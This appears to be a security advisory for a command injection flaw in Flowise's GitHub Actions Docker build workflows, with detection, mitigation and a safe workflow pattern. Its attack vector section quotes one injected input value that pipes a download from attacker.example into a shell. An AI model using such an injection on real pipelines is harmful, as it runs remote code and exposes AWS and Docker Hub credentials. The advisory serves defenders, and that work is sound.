CVE-2026-91936: Flowise Docker Workflow RCE Vulnerability

CVE-2026-91936 Overview

CVE-2026-91936 is a script injection vulnerability [CWE-78] affecting Flowise versions before 3.1.4. The flaw exists in Docker image build workflows where workflow_dispatch inputs are interpolated directly into shell run blocks. Attackers with repository write access can inject shell metacharacters through inputs such as tag_version and node_version to execute arbitrary commands within GitHub Actions runners. Successful exploitation exposes AWS credentials and Docker Hub tokens stored as workflow secrets.

Critical Impact
Attackers with write access can execute arbitrary commands in the CI/CD pipeline and exfiltrate AWS credentials and Docker Hub tokens.

Affected Products

FlowiseAI Flowise versions prior to 3.1.4
Flowise Docker image build workflows using workflow_dispatch
CI/CD environments storing AWS and Docker Hub secrets used by these workflows

Discovery Timeline

2026-09-15 - CVE-2026-91936 published to NVD
2026-09-17 - Last updated in NVD database

Technical Details for CVE-2026-91936

Vulnerability Analysis

The vulnerability originates in GitHub Actions workflows that build and publish Flowise Docker images. Workflow definitions accept workflow_dispatch inputs and place them directly inside shell run blocks using expression interpolation. GitHub Actions substitutes the input value into the shell script before execution, treating the entire result as a shell command. This pattern allows any user with write access to submit crafted input containing shell metacharacters that break out of the intended command context.

Because Docker build workflows commonly authenticate to registries and cloud providers, the runner environment holds DOCKERHUB_TOKEN and AWS credentials as secrets. Injected commands run with full access to these secrets and can transmit them to attacker-controlled endpoints. The issue is classified under CWE-78: OS Command Injection.

Root Cause

The root cause is unsanitized interpolation of ${{ inputs.tag_version }}, ${{ inputs.node_version }}, and similar values into shell scripts inside the workflow YAML. The workflow trusts input values that a repository collaborator can freely control. No allowlist, quoting, or environment variable indirection is applied before the shell sees the string.

Attack Vector

An attacker with write access to the Flowise repository, such as an internal maintainer or a compromised collaborator account, triggers the vulnerable workflow through the Actions UI or API. They supply values like 1.0.0; curl https://attacker.example/x | sh in the tag_version input. When the runner expands the expression, the injected command runs alongside the legitimate build step. The attacker exfiltrates DOCKERHUB_TOKEN and AWS access keys, then reuses them to push malicious images or pivot into AWS resources.

No verified public exploit code is available. For technical details, see the GitHub Security Advisory GHSA-jrcq-qjw5-xx5q and the VulnCheck Advisory for Flowise.

Detection Methods for CVE-2026-91936

Indicators of Compromise

Unexpected outbound network connections from GitHub-hosted runners during Docker build jobs
Docker Hub pushes of image tags that were not requested by maintainers
AWS CloudTrail entries showing API calls from IP ranges belonging to GitHub Actions runners at unusual times
Workflow run logs containing shell metacharacters such as ;, |, `, or $( inside input values

Detection Strategies

Audit workflow_dispatch run history for input values that contain shell metacharacters or URLs
Review workflow YAML for direct interpolation of ${{ inputs.* }} and ${{ github.event.* }} inside run: blocks
Correlate CI runner egress traffic with expected registry and package endpoints to identify anomalies
Enable GitHub Actions secret scanning and monitor for use of Docker Hub or AWS tokens outside approved workflows

Monitoring Recommendations

Ship GitHub Actions audit logs and workflow run logs to a centralized SIEM for retention and search
Alert on any successful use of DOCKERHUB_TOKEN or scoped AWS keys from sources other than sanctioned pipelines
Track image digest history in Docker Hub and reject deployments of digests that lack a matching approved workflow run

How to Mitigate CVE-2026-91936

Immediate Actions Required

Upgrade Flowise to version 3.1.4 or later, which corrects the vulnerable workflow definitions
Rotate all Docker Hub tokens and AWS credentials that were exposed to the vulnerable workflows
Restrict who can trigger workflow_dispatch events by limiting repository write access and requiring reviews for workflow file changes
Review recent workflow runs for suspicious input values or unexpected image publishes

Patch Information

The fix is available in Flowise 3.1.4. Refer to the GitHub Security Advisory GHSA-jrcq-qjw5-xx5q for patch details and the corrected workflow definitions.

Workarounds

Move workflow_dispatch inputs into environment variables and reference them as "$INPUT_NAME" inside shell scripts instead of interpolating expressions directly
Validate input values against a strict allowlist, for example a semantic version regex for tag_version
Use short-lived OIDC-based cloud credentials instead of long-lived AWS access keys stored as secrets
Require branch protection and mandatory code review for any change to files under .github/workflows/

bash

# Safe pattern: pass workflow_dispatch inputs through env, then quote in shell
# - name: Build image
#   env:
#     TAG_VERSION: ${{ inputs.tag_version }}
#     NODE_VERSION: ${{ inputs.node_version }}
#   run: |
#     set -euo pipefail
#     case "$TAG_VERSION" in
#       [0-9]*.[0-9]*.[0-9]*) ;;
#       *) echo "Invalid tag_version"; exit 1 ;;
#     esac
#     docker build \
#       --build-arg NODE_VERSION="$NODE_VERSION" \
#       -t flowise:"$TAG_VERSION" .